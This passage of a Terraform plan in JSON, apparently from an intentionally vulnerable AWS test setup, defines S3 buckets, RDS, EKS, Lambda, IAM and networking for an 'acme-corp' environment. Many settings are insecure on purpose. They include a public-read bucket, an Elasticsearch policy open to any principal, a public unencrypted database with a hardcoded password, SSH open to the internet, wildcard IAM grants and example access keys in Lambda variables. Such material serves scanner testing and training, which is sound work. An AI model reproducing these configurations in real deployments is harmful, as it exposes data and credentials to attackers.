"mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "schema_version": 0, "values": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "schema_version": 1, "values": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "schema_version": 0, "values": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "schema_version": 0, "values": { "triggers": null } } ] } }, "resource_changes": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "backup_window": true, "ca_cert_identifier": true, "character_set_name": true, "endpoint": true, "hosted_zone_id": true, "id": true, "identifier_prefix": true, "kms_key_id": true, "license_model": true, "maintenance_window": true, "monitoring_role_arn": true, "performance_insights_kms_key_id": true, "performance_insights_retention_period": true, "port": true, "replicas": true, "resource_id": true, "s3_import": [], "status": true, "storage_type": true, "tags": {}, "timezone": true, "vpc_security_group_ids": true } } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "option": [], "tags": {} } } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "parameter": [ {}, {} ], "tags": {} } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "subnet_ids": true, "tags": {} } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null }, "after_unknown": { "arn": true, "data_encryption_key_id": true, "encrypted": true, "id": true, "kms_key_id": true, "owner_alias": true, "owner_id": true, "tags": {}, "volume_id": true, "volume_size": true } } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } }, "after_unknown": { "arn": true, "encrypted": true, "id": true, "iops": true, "kms_key_id": true, "snapshot_id": true, "tags": {}, "type": true } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null }, "after_unknown": { "arn": true, "encryption_configuration": [], "id": true, "image_scanning_configuration": [], "registry_id": true, "repository_url": true, "tags": {} } } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] }, "after_unknown": { "arn": true, "certificate_authority": true, "created_at": true, "encryption_config": [], "endpoint": true, "id": true, "identity": true, "platform_version": true, "role_arn": true, "status": true, "version": true, "vpc_config": [ { "cluster_security_group_id": true, "public_access_cidrs": true, "subnet_ids": true, "vpc_id": true } ] } } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] }, "after_unknown": { "access_policies": true, "advanced_options": true, "advanced_security_options": true, "arn": true, "cluster_config": [ { "zone_awareness_config": [] } ], "cognito_options": [], "domain_endpoint_options": true, "domain_id": true, "ebs_options": [ { "volume_type": true } ], "encrypt_at_rest": true, "endpoint": true, "id": true, "kibana_endpoint": true, "log_publishing_options": [], "node_to_node_encryption": true, "snapshot_options": [], "vpc_options": [] } } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" }, "after_unknown": { "id": true } } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } }, "after_unknown": { "access_logs": [], "arn": true, "availability_zones": true, "dns_name": true, "health_check": [ {} ], "id": true, "instances": true, "internal": true, "listener": [ {} ], "security_groups": true, "source_security_group": true, "source_security_group_id": true, "subnets": true, "tags": {}, "zone_id": true } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" }, "after_unknown": { "arn": true, "id": true, "log_destination": true, "log_format": true, "log_group_name": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "pgp_key": null, "user": "123456789123-acme-corp-user" }, "after_unknown": { "encrypted_secret": true, "id": true, "key_fingerprint": true, "secret": true, "ses_smtp_password_v4": true, "status": true } } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } }, "after_unknown": { "arn": true, "create_date": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "after_unknown": { "id": true, "role": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } }, "after_unknown": { "arn": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" }, "after_unknown": { "id": true } } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "user_data": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-igw" } }, "after_unknown": { "arn": true, "id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null }, "after_unknown": { "arn": true, "id": true, "target_key_arn": true, "target_key_id": true } } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null }, "after_unknown": { "arn": true, "id": true, "key_id": true, "policy": true } } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] }, "after_unknown": { "arn": true, "dead_letter_config": [], "environment": [ { "variables": {} } ], "file_system_config": [], "id": true, "invoke_arn": true, "last_modified": true, "qualified_arn": true, "role": true, "source_code_size": true, "tracing_config": true, "version": true, "vpc_config": [] } } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "availability_zones": true, "cluster_identifier_prefix": true, "cluster_members": true, "cluster_resource_id": true, "endpoint": true, "engine_version": true, "hosted_zone_id": true, "id": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_maintenance_window": true, "reader_endpoint": true, "vpc_security_group_ids": true } } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "cluster_identifier": true, "dbi_resource_id": true, "endpoint": true, "engine_version": true, "id": true, "identifier": true, "identifier_prefix": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_backup_window": true, "preferred_maintenance_window": true, "storage_encrypted": true, "writer": true } } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null }, "after_unknown": { "allocated_storage": true, "availability_zones": true, "db_cluster_identifier": true, "db_cluster_snapshot_arn": true, "engine": true, "engine_version": true, "id": true, "kms_key_id": true, "license_model": true, "port": true, "snapshot_type": true, "source_db_cluster_snapshot_arn": true, "status": true, "storage_encrypted": true, "vpc_id": true } } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } }, "after_unknown": { "attachment": true, "id": true, "ipv6_address_count": true, "ipv6_addresses": true, "mac_address": true, "outpost_arn": true, "private_dns_name": true, "private_ip": true, "private_ips": [ false ], "private_ips_count": true, "security_groups": true, "subnet_id": true, "tags": {} } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null }, "after_unknown": { "destination_prefix_list_id": true, "egress_only_gateway_id": true, "gateway_id": true, "id": true, "instance_id": true, "instance_owner_id": true, "local_gateway_id": true, "nat_gateway_id": true, "network_interface_id": true, "origin": true, "route_table_id": true, "state": true, "timeouts": {} } } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-rtb" } }, "after_unknown": { "id": true, "owner_id": true, "propagating_vgws": true, "route": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { 